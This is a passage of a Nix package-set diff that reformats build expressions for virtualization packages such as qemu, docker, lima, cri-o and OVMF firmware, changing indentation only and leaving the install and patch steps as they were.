-      ln -s $fd/FV/AAVMF_VARS.fd $fd/AAVMF/vars-template-pflash.raw
-    '';
+  postInstall = ''
+    mkdir -vp $fd/FV
+  ''
+  +
+    lib.optionalString
+      (builtins.elem fwPrefix [
+        "OVMF"
+        "AAVMF"
+        "RISCV_VIRT"
+        "LOONGARCH_VIRT"
+      ])
+      ''
+        mv -v $out/FV/${fwPrefix}_{CODE,VARS}.fd $fd/FV
+      ''
+  + lib.optionalString stdenv.hostPlatform.isx86 ''
+    mv -v $out/FV/${fwPrefix}.fd $fd/FV
+  ''
+  + lib.optionalString msVarsTemplate ''
+    mv -v $out/FV/${fwPrefix}_VARS.ms.fd $fd/FV
+    ln -sv $fd/FV/${fwPrefix}_CODE{,.ms}.fd
+  ''
+  + lib.optionalString stdenv.hostPlatform.isAarch ''
+    mv -v $out/FV/QEMU_{EFI,VARS}.fd $fd/FV
+    # Add symlinks for Fedora dir layout: https://src.fedoraproject.org/rpms/edk2/blob/main/f/edk2.spec
+    mkdir -vp $fd/AAVMF
+    ln -s $fd/FV/AAVMF_CODE.fd $fd/AAVMF/QEMU_EFI-pflash.raw
+    ln -s $fd/FV/AAVMF_VARS.fd $fd/AAVMF/vars-template-pflash.raw
+  '';
 
   dontPatchELF = true;
 
diff --git a/pkgs/applications/virtualization/cri-o/default.nix b/pkgs/applications/virtualization/cri-o/default.nix
index 05e1ee00d10f..a52d65f14deb 100644
--- a/pkgs/applications/virtualization/cri-o/default.nix
+++ b/pkgs/applications/virtualization/cri-o/default.nix
@@ -39,19 +39,18 @@ buildGoModule rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      btrfs-progs
-      gpgme
-      libapparmor
-      libseccomp
-      libselinux
-      lvm2
-    ]
-    ++ lib.optionals (glibc != null) [
-      glibc
-      glibc.static
-    ];
+  buildInputs = [
+    btrfs-progs
+    gpgme
+    libapparmor
+    libseccomp
+    libselinux
+    lvm2
+  ]
+  ++ lib.optionals (glibc != null) [
+    glibc
+    glibc.static
+  ];
 
   BUILDTAGS = "apparmor seccomp selinux containers_image_openpgp containers_image_ostree_stub";
   buildPhase = ''
diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index b54d4ad4ea0c..a75311ffba2f 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -159,12 +159,13 @@ rec {
             libtool
             installShellFiles
           ];
-          buildInputs =
-            [ sqlite ]
-            ++ lib.optional withLvm lvm2
-            ++ lib.optional withBtrfs btrfs-progs
-            ++ lib.optional withSystemd systemd
-            ++ lib.optional withSeccomp libseccomp;
+          buildInputs = [
+            sqlite
+          ]
+          ++ lib.optional withLvm lvm2
+          ++ lib.optional withBtrfs btrfs-progs
+          ++ lib.optional withSystemd systemd
+          ++ lib.optional withSeccomp libseccomp;
 
           extraPath = lib.optionals stdenv.hostPlatform.isLinux (
             lib.makeBinPath [
@@ -286,15 +287,14 @@ rec {
             glibc.static
           ];
 
-        postPatch =
-          ''
-            patchShebangs man scripts/build/
-            substituteInPlace ./scripts/build/.variables --replace-fail "set -eu" ""
-          ''
-          + lib.optionalString (plugins != [ ]) ''
-            substituteInPlace ./cli-plugins/manager/manager_unix.go --replace-fail /usr/libexec/docker/cli-plugins \
-                "${pluginsRef}/libexec/docker/cli-plugins"
-          '';
+        postPatch = ''
+          patchShebangs man scripts/build/
+          substituteInPlace ./scripts/build/.variables --replace-fail "set -eu" ""
+        ''
+        + lib.optionalString (plugins != [ ]) ''
+          substituteInPlace ./cli-plugins/manager/manager_unix.go --replace-fail /usr/libexec/docker/cli-plugins \
+              "${pluginsRef}/libexec/docker/cli-plugins"
+        '';
 
         # Keep eyes on BUILDTIME format - https://github.com/docker/cli/blob/${version}/scripts/build/.variables
         buildPhase = ''
@@ -313,36 +313,35 @@ rec {
 
         outputs = [ "out" ];
 
-        installPhase =
-          ''
-            runHook preInstall
+        installPhase = ''
+          runHook preInstall
 
-            install -Dm755 ./build/docker $out/libexec/docker/docker
+          install -Dm755 ./build/docker $out/libexec/docker/docker
 
-            makeWrapper $out/libexec/docker/docker $out/bin/docker \
-              --prefix PATH : "$out/libexec/docker:$extraPath"
-          ''
-          + lib.optionalString (!clientOnly) ''
-            # symlink docker daemon to docker cli derivation
-            ln -s ${moby}/bin/dockerd $out/bin/dockerd
-            ln -s ${moby}/bin/dockerd-rootless $out/bin/dockerd-rootless
+          makeWrapper $out/libexec/docker/docker $out/bin/docker \
+            --prefix PATH : "$out/libexec/docker:$extraPath"
+        ''
+        + lib.optionalString (!clientOnly) ''
+          # symlink docker daemon to docker cli derivation
+          ln -s ${moby}/bin/dockerd $out/bin/dockerd
+          ln -s ${moby}/bin/dockerd-rootless $out/bin/dockerd-rootless
 
-            # systemd
-            mkdir -p $out/etc/systemd/system
-            ln -s ${moby}/etc/systemd/system/docker.service $out/etc/systemd/system/docker.service
-            ln -s ${moby}/etc/systemd/system/docker.socket $out/etc/systemd/system/docker.socket
-          ''
-          # Required to avoid breaking cross builds
-          + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-            # completion (cli)
-            installShellCompletion --cmd docker \
-              --bash <($out/bin/docker completion bash) \
-              --fish <($out/bin/docker completion fish) \
-              --zsh <($out/bin/docker completion zsh)
-          ''
-          + ''
-            runHook postInstall
-          '';
+          # systemd
+          mkdir -p $out/etc/systemd/system
+          ln -s ${moby}/etc/systemd/system/docker.service $out/etc/systemd/system/docker.service
+          ln -s ${moby}/etc/systemd/system/docker.socket $out/etc/systemd/system/docker.socket
+        ''
+        # Required to avoid breaking cross builds
+        + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+          # completion (cli)
+          installShellCompletion --cmd docker \
+            --bash <($out/bin/docker completion bash) \
+            --fish <($out/bin/docker completion fish) \
+            --zsh <($out/bin/docker completion zsh)
+        ''
+        + ''
+          runHook postInstall
+        '';
 
         passthru = {
           # Exposed for tarsum build on non-linux systems (build-support/docker/default.nix)
diff --git a/pkgs/applications/virtualization/krunvm/default.nix b/pkgs/applications/virtualization/krunvm/default.nix
index 8d100b93d439..d67c4e64b78c 100644
--- a/pkgs/applications/virtualization/krunvm/default.nix
+++ b/pkgs/applications/virtualization/krunvm/default.nix
@@ -36,13 +36,15 @@ stdenv.mkDerivation rec {
     rustc
     asciidoctor
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ sigtool ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ sigtool ];
 
-  buildInputs =
-    [ libkrun ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    libkrun
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   makeFlags = [ "PREFIX=${placeholder "out"}" ];
 
diff --git a/pkgs/applications/virtualization/lima/bin.nix b/pkgs/applications/virtualization/lima/bin.nix
index f9ee61291426..0c6d8f542838 100644
--- a/pkgs/applications/virtualization/lima/bin.nix
+++ b/pkgs/applications/virtualization/lima/bin.nix
@@ -56,31 +56,31 @@ stdenvNoCC.mkDerivation {
   nativeBuildInputs = [
     makeBinaryWrapper
     installShellFiles
-  ] ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [ autoPatchelfHook ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out
-      cp -r bin share $out
-      chmod +x $out/bin/limactl
-      wrapProgram $out/bin/limactl \
-        --prefix PATH : ${lib.makeBinPath [ qemu ]}
-    ''
-    + lib.optionalString (stdenvNoCC.buildPlatform.canExecute stdenvNoCC.hostPlatform) ''
-      # the shell completion only works with a patched $out/bin/limactl and so
-      # needs to run after the autoPatchelfHook is executed in postFixup.
-      doShellCompletion() {
-        installShellCompletion --cmd limactl \
-          --bash <($out/bin/limactl completion bash) \
-          --fish <($out/bin/limactl completion fish) \
-          --zsh <($out/bin/limactl completion zsh)
-      }
-      postFixupHooks+=(doShellCompletion)
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out
+    cp -r bin share $out
+    chmod +x $out/bin/limactl
+    wrapProgram $out/bin/limactl \
+      --prefix PATH : ${lib.makeBinPath [ qemu ]}
+  ''
+  + lib.optionalString (stdenvNoCC.buildPlatform.canExecute stdenvNoCC.hostPlatform) ''
+    # the shell completion only works with a patched $out/bin/limactl and so
+    # needs to run after the autoPatchelfHook is executed in postFixup.
+    doShellCompletion() {
+      installShellCompletion --cmd limactl \
+        --bash <($out/bin/limactl completion bash) \
+        --fish <($out/bin/limactl completion fish) \
+        --zsh <($out/bin/limactl completion zsh)
+    }
+    postFixupHooks+=(doShellCompletion)
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   doInstallCheck = true;
   installCheckPhase = ''
diff --git a/pkgs/applications/virtualization/lima/default.nix b/pkgs/applications/virtualization/lima/default.nix
index 6365ef7d44c8..8df5bc671830 100644
--- a/pkgs/applications/virtualization/lima/default.nix
+++ b/pkgs/applications/virtualization/lima/default.nix
@@ -28,7 +28,8 @@ buildGoModule rec {
   nativeBuildInputs = [
     makeWrapper
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ sigtool ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ sigtool ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_15 ];
 
@@ -52,23 +53,22 @@ buildGoModule rec {
     export LIMA_HOME="$(mktemp -d)"
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out
-      cp -r _output/* $out
-      wrapProgram $out/bin/limactl \
-        --prefix PATH : ${lib.makeBinPath [ qemu ]}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd limactl \
-        --bash <($out/bin/limactl completion bash) \
-        --fish <($out/bin/limactl completion fish) \
-        --zsh <($out/bin/limactl completion zsh)
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out
+    cp -r _output/* $out
+    wrapProgram $out/bin/limactl \
+      --prefix PATH : ${lib.makeBinPath [ qemu ]}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd limactl \
+      --bash <($out/bin/limactl completion bash) \
+      --fish <($out/bin/limactl completion fish) \
+      --zsh <($out/bin/limactl completion zsh)
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   doInstallCheck = true;
   # Workaround for: "panic: $HOME is not defined" at https://github.com/lima-vm/lima/blob/cb99e9f8d01ebb82d000c7912fcadcd87ec13ad5/pkg/limayaml/defaults.go#L53
diff --git a/pkgs/applications/virtualization/lkl/default.nix b/pkgs/applications/virtualization/lkl/default.nix
index deaefb7db927..567bacde3b34 100644
--- a/pkgs/applications/virtualization/lkl/default.nix
+++ b/pkgs/applications/virtualization/lkl/default.nix
@@ -47,23 +47,22 @@ stdenv.mkDerivation {
     libarchive
   ];
 
-  postPatch =
-    ''
-      # Fix a /usr/bin/env reference in here that breaks sandboxed builds
-      patchShebangs arch/lkl/scripts
+  postPatch = ''
+    # Fix a /usr/bin/env reference in here that breaks sandboxed builds
+    patchShebangs arch/lkl/scripts
 
-      patchShebangs scripts/ld-version.sh
+    patchShebangs scripts/ld-version.sh
 
-      # Fixup build with newer Linux headers: https://github.com/lkl/linux/pull/484
-      sed '1i#include <linux/sockios.h>' -i tools/lkl/lib/hijack/xlate.c
-    ''
-    + lib.optionalString stdenv.hostPlatform.isi686 ''
-      echo CONFIG_KALLSYMS=n >> arch/lkl/configs/defconfig
-      echo CONFIG_KALLSYMS_BASE_RELATIVE=n >> arch/lkl/configs/defconfig
-    ''
-    + lib.optionalString firewallSupport ''
-      cat ${./lkl-defconfig-enable-nftables} >> arch/lkl/configs/defconfig
-    '';
+    # Fixup build with newer Linux headers: https://github.com/lkl/linux/pull/484
+    sed '1i#include <linux/sockios.h>' -i tools/lkl/lib/hijack/xlate.c
+  ''
+  + lib.optionalString stdenv.hostPlatform.isi686 ''
+    echo CONFIG_KALLSYMS=n >> arch/lkl/configs/defconfig
+    echo CONFIG_KALLSYMS_BASE_RELATIVE=n >> arch/lkl/configs/defconfig
+  ''
+  + lib.optionalString firewallSupport ''
+    cat ${./lkl-defconfig-enable-nftables} >> arch/lkl/configs/defconfig
+  '';
 
   installPhase = ''
     mkdir -p $out/bin $lib/lib $dev
diff --git a/pkgs/applications/virtualization/qemu/default.nix b/pkgs/applications/virtualization/qemu/default.nix
index 079718c3f587..d01a8a525ad1 100644
--- a/pkgs/applications/virtualization/qemu/default.nix
+++ b/pkgs/applications/virtualization/qemu/default.nix
@@ -151,105 +151,104 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-88wcTqv9soghisPjN2Pb6eJ22LyJC4Z6IzXVjeLd05o=";
   };
 
-  depsBuildBuild =
-    [ buildPackages.stdenv.cc ]
-    ++ lib.optionals stdenv.buildPlatform.isDarwin darwinSDK
-    ++ lib.optionals hexagonSupport [ pkg-config ];
+  depsBuildBuild = [
+    buildPackages.stdenv.cc
+  ]
+  ++ lib.optionals stdenv.buildPlatform.isDarwin darwinSDK
+  ++ lib.optionals hexagonSupport [ pkg-config ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      removeReferencesTo
-      pkg-config
-      flex
-      bison
-      meson
-      ninja
-      perl
+  nativeBuildInputs = [
+    makeWrapper
+    removeReferencesTo
+    pkg-config
+    flex
+    bison
+    meson
+    ninja
+    perl
 
-      # Don't change this to python3 and python3.pkgs.*, breaks cross-compilation
-      python3Packages.python
-    ]
-    ++ lib.optionals gtkSupport [ wrapGAppsHook3 ]
-    ++ lib.optionals enableDocs [
-      python3Packages.sphinx
-      python3Packages.sphinx-rtd-theme
-    ]
-    ++ lib.optionals hexagonSupport [ glib ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      sigtool
-    ]
-    ++ lib.optionals (!userOnly) [ dtc ];
+    # Don't change this to python3 and python3.pkgs.*, breaks cross-compilation
+    python3Packages.python
+  ]
+  ++ lib.optionals gtkSupport [ wrapGAppsHook3 ]
+  ++ lib.optionals enableDocs [
+    python3Packages.sphinx
+    python3Packages.sphinx-rtd-theme
+  ]
+  ++ lib.optionals hexagonSupport [ glib ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    sigtool
+  ]
+  ++ lib.optionals (!userOnly) [ dtc ];
 
   # gnutls is required for crypto support (luks) in qemu-img
-  buildInputs =
-    [
-      glib
-      gnutls
-      zlib
-    ]
-    ++ lib.optionals (!minimal) [
-      dtc
-      pixman
-      vde2
-      lzo
-      snappy
-      libtasn1
-      libslirp
-      libcbor
-    ]
-    ++ lib.optionals (!userOnly) [ curl ]
-    ++ lib.optionals ncursesSupport [ ncurses ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin darwinSDK
-    ++ lib.optionals seccompSupport [ libseccomp ]
-    ++ lib.optionals numaSupport [ numactl ]
-    ++ lib.optionals alsaSupport [ alsa-lib ]
-    ++ lib.optionals pulseSupport [ libpulseaudio ]
-    ++ lib.optionals pipewireSupport [ pipewire ]
-    ++ lib.optionals sdlSupport [
-      SDL2
-      SDL2_image
-    ]
-    ++ lib.optionals jackSupport [ libjack2 ]
-    ++ lib.optionals gtkSupport [
-      gtk3
-      gettext
-      vte
-    ]
-    ++ lib.optionals vncSupport [
-      libjpeg
-      libpng
-    ]
-    ++ lib.optionals smartcardSupport [ libcacard ]
-    ++ lib.optionals spiceSupport [
-      spice-protocol
-      spice
-    ]
-    ++ lib.optionals usbredirSupport [ usbredir ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && !userOnly) [
-      libcap_ng
-      libcap
-      attr
-      libaio
-    ]
-    ++ lib.optionals xenSupport [ xen ]
-    ++ lib.optionals cephSupport [ ceph ]
-    ++ lib.optionals glusterfsSupport [
-      glusterfs
-      libuuid
-    ]
-    ++ lib.optionals openGLSupport [
-      libgbm
-      libepoxy
-      libdrm
-    ]
-    ++ lib.optionals rutabagaSupport [ rutabaga_gfx ]
-    ++ lib.optionals virglSupport [ virglrenderer ]
-    ++ lib.optionals libiscsiSupport [ libiscsi ]
-    ++ lib.optionals smbdSupport [ samba ]
-    ++ lib.optionals uringSupport [ liburing ]
-    ++ lib.optionals canokeySupport [ canokey-qemu ]
-    ++ lib.optionals capstoneSupport [ capstone ];
+  buildInputs = [
+    glib
+    gnutls
+    zlib
+  ]
+  ++ lib.optionals (!minimal) [
+    dtc
+    pixman
+    vde2
+    lzo
+    snappy
+    libtasn1
+    libslirp
+    libcbor
+  ]
+  ++ lib.optionals (!userOnly) [ curl ]
+  ++ lib.optionals ncursesSupport [ ncurses ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin darwinSDK
+  ++ lib.optionals seccompSupport [ libseccomp ]
+  ++ lib.optionals numaSupport [ numactl ]
+  ++ lib.optionals alsaSupport [ alsa-lib ]
+  ++ lib.optionals pulseSupport [ libpulseaudio ]
+  ++ lib.optionals pipewireSupport [ pipewire ]
+  ++ lib.optionals sdlSupport [
+    SDL2
+    SDL2_image
+  ]
+  ++ lib.optionals jackSupport [ libjack2 ]
+  ++ lib.optionals gtkSupport [
+    gtk3
+    gettext
+    vte
+  ]
+  ++ lib.optionals vncSupport [
+    libjpeg
+    libpng
+  ]
+  ++ lib.optionals smartcardSupport [ libcacard ]
+  ++ lib.optionals spiceSupport [
+    spice-protocol
+    spice
+  ]
+  ++ lib.optionals usbredirSupport [ usbredir ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && !userOnly) [
+    libcap_ng
+    libcap
+    attr
+    libaio
+  ]
+  ++ lib.optionals xenSupport [ xen ]
+  ++ lib.optionals cephSupport [ ceph ]
+  ++ lib.optionals glusterfsSupport [
+    glusterfs
+    libuuid
+  ]
+  ++ lib.optionals openGLSupport [
+    libgbm
+    libepoxy
+    libdrm
+  ]
+  ++ lib.optionals rutabagaSupport [ rutabaga_gfx ]
+  ++ lib.optionals virglSupport [ virglrenderer ]
+  ++ lib.optionals libiscsiSupport [ libiscsi ]
+  ++ lib.optionals smbdSupport [ samba ]
+  ++ lib.optionals uringSupport [ liburing ]
+  ++ lib.optionals canokeySupport [ canokey-qemu ]
+  ++ lib.optionals capstoneSupport [ capstone ];
 
   dontUseMesonConfigure = true; # meson's configurePhase isn't compatible with qemu build
   dontAddStaticConfigureFlags = true;
@@ -274,7 +273,8 @@ stdenv.mkDerivation (finalAttrs: {
       sha256 = "sha256-oC+bRjEHixv1QEFO9XAm4HHOwoiT+NkhknKGPydnZ5E=";
       revert = true;
     })
-  ] ++ lib.optional nixosTestRunner ./force-uid0-on-9p.patch;
+  ]
+  ++ lib.optional nixosTestRunner ./force-uid0-on-9p.patch;
 
   postPatch = ''
     # Otherwise tries to ensure /var/run exists.
@@ -297,44 +297,43 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail /var/tmp "$TMPDIR"
   '';
 
-  configureFlags =
-    [
-      "--disable-strip" # We'll strip ourselves after separating debug info.
-      "--enable-gnutls" # auto detection only works when building with --enable-system
-      (lib.enableFeature enableDocs "docs")
-      (lib.enableFeature enableTools "tools")
-      "--localstatedir=/var"
-      "--sysconfdir=/etc"
-      "--cross-prefix=${stdenv.cc.targetPrefix}"
-      (lib.enableFeature guestAgentSupport "guest-agent")
-    ]
-    ++ lib.optional numaSupport "--enable-numa"
-    ++ lib.optional seccompSupport "--enable-seccomp"
-    ++ lib.optional smartcardSupport "--enable-smartcard"
-    ++ lib.optional spiceSupport "--enable-spice"
-    ++ lib.optional usbredirSupport "--enable-usb-redir"
-    ++ lib.optional (hostCpuTargets != null) "--target-list=${lib.concatStringsSep "," hostCpuTargets}"
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--enable-cocoa"
-      "--enable-hvf"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isLinux && !userOnly) "--enable-linux-aio"
-    ++ lib.optional gtkSupport "--enable-gtk"
-    ++ lib.optional xenSupport "--enable-xen"
-    ++ lib.optional cephSupport "--enable-rbd"
-    ++ lib.optional glusterfsSupport "--enable-glusterfs"
-    ++ lib.optional openGLSupport "--enable-opengl"
-    ++ lib.optional virglSupport "--enable-virglrenderer"
-    ++ lib.optional tpmSupport "--enable-tpm"
-    ++ lib.optional libiscsiSupport "--enable-libiscsi"
-    ++ lib.optional smbdSupport "--smbd=${samba}/bin/smbd"
-    ++ lib.optional uringSupport "--enable-linux-io-uring"
-    ++ lib.optional canokeySupport "--enable-canokey"
-    ++ lib.optional capstoneSupport "--enable-capstone"
-    ++ lib.optional (!pluginsSupport) "--disable-plugins"
-    ++ lib.optional (!enableBlobs) "--disable-install-blobs"
-    ++ lib.optional userOnly "--disable-system"
-    ++ lib.optional stdenv.hostPlatform.isStatic "--static";
+  configureFlags = [
+    "--disable-strip" # We'll strip ourselves after separating debug info.
+    "--enable-gnutls" # auto detection only works when building with --enable-system
+    (lib.enableFeature enableDocs "docs")
+    (lib.enableFeature enableTools "tools")
+    "--localstatedir=/var"
+    "--sysconfdir=/etc"
+    "--cross-prefix=${stdenv.cc.targetPrefix}"
+    (lib.enableFeature guestAgentSupport "guest-agent")
+  ]
+  ++ lib.optional numaSupport "--enable-numa"
+  ++ lib.optional seccompSupport "--enable-seccomp"
+  ++ lib.optional smartcardSupport "--enable-smartcard"
+  ++ lib.optional spiceSupport "--enable-spice"
+  ++ lib.optional usbredirSupport "--enable-usb-redir"
+  ++ lib.optional (hostCpuTargets != null) "--target-list=${lib.concatStringsSep "," hostCpuTargets}"
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--enable-cocoa"
+    "--enable-hvf"
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isLinux && !userOnly) "--enable-linux-aio"
+  ++ lib.optional gtkSupport "--enable-gtk"
+  ++ lib.optional xenSupport "--enable-xen"
+  ++ lib.optional cephSupport "--enable-rbd"
+  ++ lib.optional glusterfsSupport "--enable-glusterfs"
+  ++ lib.optional openGLSupport "--enable-opengl"
+  ++ lib.optional virglSupport "--enable-virglrenderer"
+  ++ lib.optional tpmSupport "--enable-tpm"
+  ++ lib.optional libiscsiSupport "--enable-libiscsi"
+  ++ lib.optional smbdSupport "--smbd=${samba}/bin/smbd"
+  ++ lib.optional uringSupport "--enable-linux-io-uring"
+  ++ lib.optional canokeySupport "--enable-canokey"
+  ++ lib.optional capstoneSupport "--enable-capstone"
+  ++ lib.optional (!pluginsSupport) "--disable-plugins"
+  ++ lib.optional (!enableBlobs) "--disable-install-blobs"
+  ++ lib.optional userOnly "--disable-system"
+  ++ lib.optional stdenv.hostPlatform.isStatic "--static";
 
   dontWrapGApps = true;
 
@@ -344,72 +343,70 @@ stdenv.mkDerivation (finalAttrs: {
   # * https://github.com/qemu/qemu/blob/v6.1.0/scripts/entitlement.sh#L25
   dontStrip = stdenv.hostPlatform.isDarwin;
 
-  postFixup =
-    ''
-      # the .desktop is both invalid and pointless
-      rm -f $out/share/applications/qemu.desktop
-    ''
-    + lib.optionalString guestAgentSupport ''
-      # move qemu-ga (guest agent) to separate output
-      mkdir -p $ga/bin
-      mv $out/bin/qemu-ga $ga/bin/
-      ln -s $ga/bin/qemu-ga $out/bin
-      remove-references-to -t $out $ga/bin/qemu-ga
-    ''
-    + lib.optionalString gtkSupport ''
-      # wrap GTK Binaries
-      for f in $out/bin/qemu-system-*; do
-        wrapGApp $f
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isStatic ''
-      # HACK: Otherwise the result will have the entire buildInputs closure
-      # injected by the pkgsStatic stdenv
-      # <https://github.com/NixOS/nixpkgs/issues/83667>
-      rm -f $out/nix-support/propagated-build-inputs
-    '';
+  postFixup = ''
+    # the .desktop is both invalid and pointless
+    rm -f $out/share/applications/qemu.desktop
+  ''
+  + lib.optionalString guestAgentSupport ''
+    # move qemu-ga (guest agent) to separate output
+    mkdir -p $ga/bin
+    mv $out/bin/qemu-ga $ga/bin/
+    ln -s $ga/bin/qemu-ga $out/bin
+    remove-references-to -t $out $ga/bin/qemu-ga
+  ''
+  + lib.optionalString gtkSupport ''
+    # wrap GTK Binaries
+    for f in $out/bin/qemu-system-*; do
+      wrapGApp $f
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isStatic ''
+    # HACK: Otherwise the result will have the entire buildInputs closure
+    # injected by the pkgsStatic stdenv
+    # <https://github.com/NixOS/nixpkgs/issues/83667>
+    rm -f $out/nix-support/propagated-build-inputs
+  '';
   preBuild = "cd build";
 
   # tests can still timeout on slower systems
   doCheck = false;
   nativeCheckInputs = [ socat ];
-  preCheck =
-    ''
-      # time limits are a little meagre for a build machine that's
-      # potentially under load.
-      substituteInPlace ../tests/unit/meson.build \
-        --replace 'timeout: slow_tests' 'timeout: 50 * slow_tests'
-      substituteInPlace ../tests/qtest/meson.build \
-        --replace 'timeout: slow_qtests' 'timeout: 50 * slow_qtests'
-      substituteInPlace ../tests/fp/meson.build \
-        --replace 'timeout: 90)' 'timeout: 300)'
+  preCheck = ''
+    # time limits are a little meagre for a build machine that's
+    # potentially under load.
+    substituteInPlace ../tests/unit/meson.build \
+      --replace 'timeout: slow_tests' 'timeout: 50 * slow_tests'
+    substituteInPlace ../tests/qtest/meson.build \
+      --replace 'timeout: slow_qtests' 'timeout: 50 * slow_qtests'
+    substituteInPlace ../tests/fp/meson.build \
+      --replace 'timeout: 90)' 'timeout: 300)'
 
-      # point tests towards correct binaries
-      substituteInPlace ../tests/unit/test-qga.c \
-        --replace '/bin/bash' "$(type -P bash)" \
-        --replace '/bin/echo' "$(type -P echo)"
-      substituteInPlace ../tests/unit/test-io-channel-command.c \
-        --replace '/bin/socat' "$(type -P socat)"
+    # point tests towards correct binaries
+    substituteInPlace ../tests/unit/test-qga.c \
+      --replace '/bin/bash' "$(type -P bash)" \
+      --replace '/bin/echo' "$(type -P echo)"
+    substituteInPlace ../tests/unit/test-io-channel-command.c \
+      --replace '/bin/socat' "$(type -P socat)"
 
-      # combined with a long package name, some temp socket paths
-      # can end up exceeding max socket name len
-      substituteInPlace ../tests/qtest/bios-tables-test.c \
-        --replace 'qemu-test_acpi_%s_tcg_%s' '%s_%s'
+    # combined with a long package name, some temp socket paths
+    # can end up exceeding max socket name len
+    substituteInPlace ../tests/qtest/bios-tables-test.c \
+      --replace 'qemu-test_acpi_%s_tcg_%s' '%s_%s'
 
-      # get-fsinfo attempts to access block devices, disallowed by sandbox
-      sed -i -e '/\/qga\/get-fsinfo/d' -e '/\/qga\/blacklist/d' \
-        ../tests/unit/test-qga.c
+    # get-fsinfo attempts to access block devices, disallowed by sandbox
+    sed -i -e '/\/qga\/get-fsinfo/d' -e '/\/qga\/blacklist/d' \
+      ../tests/unit/test-qga.c
 
-      # xattrs are not allowed in the sandbox
-      substituteInPlace ../tests/qtest/virtio-9p-test.c \
-        --replace-fail mapped-xattr mapped-file
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # skip test that stalls on darwin, perhaps due to subtle differences
-      # in fifo behaviour
-      substituteInPlace ../tests/unit/meson.build \
-        --replace "'test-io-channel-command'" "#'test-io-channel-command'"
-    '';
+    # xattrs are not allowed in the sandbox
+    substituteInPlace ../tests/qtest/virtio-9p-test.c \
+      --replace-fail mapped-xattr mapped-file
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # skip test that stalls on darwin, perhaps due to subtle differences
+    # in fifo behaviour
+    substituteInPlace ../tests/unit/meson.build \
+      --replace "'test-io-channel-command'" "#'test-io-channel-command'"
+  '';
 
   # Add a ‘qemu-kvm’ wrapper for compatibility/convenience.
   postInstall = lib.optionalString (!minimal && !xenSupport) ''
diff --git a/pkgs/applications/virtualization/singularity/generic.nix b/pkgs/applications/virtualization/singularity/generic.nix
index f0e6af36de96..1d75a9885fb0 100644
--- a/pkgs/applications/virtualization/singularity/generic.nix
+++ b/pkgs/applications/virtualization/singularity/generic.nix
@@ -164,36 +164,34 @@ in
   # apptainer/apptainer: https://github.com/apptainer/apptainer/blob/main/dist/debian/control
   # sylabs/singularity: https://github.com/sylabs/singularity/blob/main/debian/control
 
-  buildInputs =
-    [
-      bash # To patch /bin/sh shebangs.
-      conmon
-      cryptsetup
-      gpgme
-      libuuid
-      openssl
-      squashfsTools # Required at build time by SingularityCE
-    ]
-    # Optional dependencies.
-    # Formatting: Optional dependencies are likely to increase.
-    # Don't squash them into the same line.
-    ++ lib.optional enableNvidiaContainerCli nvidia-docker
-    ++ lib.optional enableSeccomp libseccomp;
+  buildInputs = [
+    bash # To patch /bin/sh shebangs.
+    conmon
+    cryptsetup
+    gpgme
+    libuuid
+    openssl
+    squashfsTools # Required at build time by SingularityCE
+  ]
+  # Optional dependencies.
+  # Formatting: Optional dependencies are likely to increase.
+  # Don't squash them into the same line.
+  ++ lib.optional enableNvidiaContainerCli nvidia-docker
+  ++ lib.optional enableSeccomp libseccomp;
 
   configureScript = "./mconfig";
 
-  configureFlags =
-    [
-      "--localstatedir=${
-        if externalLocalStateDir != null then externalLocalStateDir else "${placeholder "out"}/var/lib"
-      }"
-      "--runstatedir=/var/run"
-    ]
-    ++ lib.optional (!enableSeccomp) "--without-seccomp"
-    ++ lib.optional (enableSuid != defaultToSuid) (
-      if enableSuid then "--with-suid" else "--without-suid"
-    )
-    ++ extraConfigureFlags;
+  configureFlags = [
+    "--localstatedir=${
+      if externalLocalStateDir != null then externalLocalStateDir else "${placeholder "out"}/var/lib"
+    }"
